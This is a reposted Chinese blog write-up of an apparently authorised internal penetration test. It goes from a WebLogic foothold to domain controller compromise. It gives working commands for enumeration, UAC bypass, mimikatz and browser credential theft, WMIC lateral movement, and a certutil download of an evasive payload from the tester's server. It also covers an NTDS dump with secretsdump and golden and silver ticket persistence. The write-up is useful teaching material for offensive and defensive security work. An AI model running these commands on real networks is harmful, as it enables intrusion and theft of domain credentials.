一次域渗透测试过程
2021-10-23 13:1:45 Author: mp.weixin.qq.com(查看原文) 阅读量:1 收藏

员zy稿线

0x01前期web打点

接到某授权渗透项目:端口扫描发现7001端口,访问该页面发现是weblogic报错页面。

目录扫描发现uddiexplorer目录,验证是weblogic应用指纹。

0x02 打点

1、使用weblogic漏洞利用工具进行打点。

发现目标系统是Windows系统。

2、查看系统的具体版本,是否出网,是工作组环境还是域环境

wmic os get name&&wmic COMPUTERSYSTEM get domain&&ping 8.8.8.8

目标是一台2012 R2的电脑,在域内环境,可出网。

3、判断是否存在杀软。

使用在线的杀软识别没有检测出来,后来查询到Pxxx 是某厂商款杀软的进程。

0x03 上线

1、准备免杀马。直接掏出免杀马,由于目标机器出网,主动下载构造的免杀马落到目标机器上。

下载成功后运行让目标上线到自己的CS。

0x04内网渗透

1、内网信息收集

域内信息收集把域内的信息收集的足够充足,然后进行移动横向。

1、Dump LDAP

执行whoami /all查看当前用户

发现是域用户。前面判断是不是域的时候,已经得知域的名字,所以现在可以确实是域成员登录,在域内的成员都是可以连接到 LDAP。通过拉取LDAP到本地后可以清晰的看到当前域的OU和组,查看域控,域管理员信息。

dump LDAP的两种方式:

  1. 使用域成员的账号和密码登录 ADExplorer软件,然后再进行保存。

使用这个方法的前提是需要代理到本地,需要知道域成员的密码或者hash

  1. 需要把ADExplorer软件上传到目标机器上面,然后执行命令进行导出。
ADExplorer.exe -snapshot "" result.dat /accepteul  

2、端口扫描

通过portscan扫描端口定位到 开放443 135 端口的机器,也可以使用fscan 去扫描整个内网,但是动静太大。

192.168.205网段只有一台开放 445,135端口,这台可以横向的机器同时开放了 88,389 端口,一般只有域控会开放这两个接口。和LDAP 信息进行对比确定域控的名字是一致的。

3、LDAP 查看域内基本信息

把导出的 LDAP 信息下载到本地然后查找这个域里的域控,域管理员。查找到域控

是一台 server 2016 ,主机名是 server2016。

查找域内管理员

域内的所有机器通过LDAP信息,可以发现这个域内有很多Windows7 的机器,甚至还有Xp的电脑。这也为拿下这个域提供了更多选择,比如 MS17-010。

查询域内用户 需要注意objectSid 这个字段,是这个与成员的SID可以配合mS-Ds-CreatorSID这个字段

查询有mS-Ds-CreatorSID这个字段的机器

有mS-Ds-CreatorSID字段的机器说明是被域用户拉入域内,对应的SID值就是拉他们进域的域用户的SID值。而这个域用户就拥有这些机器的 基于资源的约束委派 的鉴权能力。就可以做基于资源的约束约束委派的攻击(RBCD)。

4、收集本机密码凭证加提权。

1、查看本机权限加提权 whoami /all 可以看到当前用户令牌为低权令牌,之前在 LADP 里面查看域管理员的时候发现已经上线这台机器的域用户是域管理员,但是他的令牌不完整,缺少 dump hash 的特权。

在CS中使用 命令 查看域里面的管理员net group "domain admins" /domain

现在需要做的就是Bypass UAC ,从低权令牌获取到高权令牌,获取到完整令牌。

经过测试 使用 计划任务 成功Bypass UAC,获取到完整令牌。

再次 whoami /all 查看令牌,已经是完成的令牌。

2、凭证密码收集:

获取凭证密码、hash 包括存在浏览器里面的密码也是收集的目标

1、使用完整令牌的域管理员 进行 mimikzta dump 密码

成功获取到hash

2、使用 BrowserGhost 获取存储在浏览器的密码

2、内网横向

前面信息收集中获取了 域管理员的 hash、可横向的目标、域控的主机名与IP。

1、使用wmic 命令进行横向测试

使用 os get name 测试能否横向shell wmic /node:192.168.205.3 os get name

2、测试能否出网

测试横向目标域控是否出网,如果出网可以使用反弹shell进行连接,如果不出网就需要使用正向连接。

测试是否出网方法

第一种:使用 wmic /node:192.168.205.3 process call create "cmd.exe /c ping 8.8.8.8 > c:\1.txt"

再使用 net use UNC 路径去读取保存ping 结果的文件

第二种: 在自己的vps 上面起一个监听

tcpdump -i 网卡 icmp

然后让目标主机去 ping 自己的vps

在自己的vps上面查看是否有机器在ping 自己 判断是否出网

这里我选择第二种

通过测试得知横向目标是可以出网的。

3、测试横向目标是否有杀软

使用 process get processid,name 或者 tasklist /S hosename 查看横向目标所运行的服务进行判断是否有杀软。

Tasklist  /S server2016 这个命令需要知道主机名

shell wmic /node:192.168.205.3 process get processid,name

依旧是发现了杀软的进程,也就是无法直接使用powershell 进行横向,需要把免杀马放到域控上面,然后使用wmic执行命令。

2、UNC共享(net use)

把本机的免杀马复制到域控上面。

net use \\192.168.1.1\c$ "admin@123" /user:administrator

但是在使用 net use 命令的时候发现 无法使用

UNC 路径无法使用,之前考虑把免杀马复制过去的操作无法实现,现在的想法是 让域控去自己的vps 下载免杀马,然后再执行,使用WMIC命令之执行。

3、wmic 下载文件、横向域控

wmic /node:xxx process call create "cmd.exe /c certutil -urlcache -split -f http://xxx C:\users\public\filename "

这个操作需要知道存放文件的绝对路径,windows  基本都会有的路径C:\Users\Public

经过操作域控成功上线。

1、dump NTDS

到域控以后先把 NTDS dump 下来,这个里面存储所有域用户的hash

powershell ntdsutil "activate instance ntds" ifm "create full C:\Users\Public\ntdsutil" quit quit

2、解密NTDS

把NTDS 下载到本地之后 使用 impact 工具包 把hash 跑出来

python secretsdump.py -ntds "C:\Users\xxx\Desktop\nt\ntds.dit" -security "C:\Users\xxx\Desktop\nt\SECURITY" -system "C:\Users\xxx\Desktop\nt\SYSTEM" local

找到 krbtgt 用户的hash 是做黄金票据的根本,拥有了所有域用户的hash ,可以制作白银票据,不经过域控就就可以登录到想要的目标,而且不会在域控下留下日志文件。因为当前网段只有 当前落脚点和域控开机,其他电脑都是关机状态,本次的域渗透也到此结束了。

号外

宽字节第二期线下培训开始招生啦!!!

宽字节首期内网渗透线上课开班啦!!!

宽字节第二期JAVA安全进阶线上课开班啦!!!

联系我们


文章来源: https://mp.weixin.qq.com/s?__biz=MzUzNTEyMTE0Mw==&mid=2247485511&idx=1&sn=087e7f37e9044fdf103a1064aedee0f2&chksm=fa8b15dfcdfc9cc9b6c5fa738905f82180e336a01c8076d4f4bdb7cc2612952cd9133f8ed6b0&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh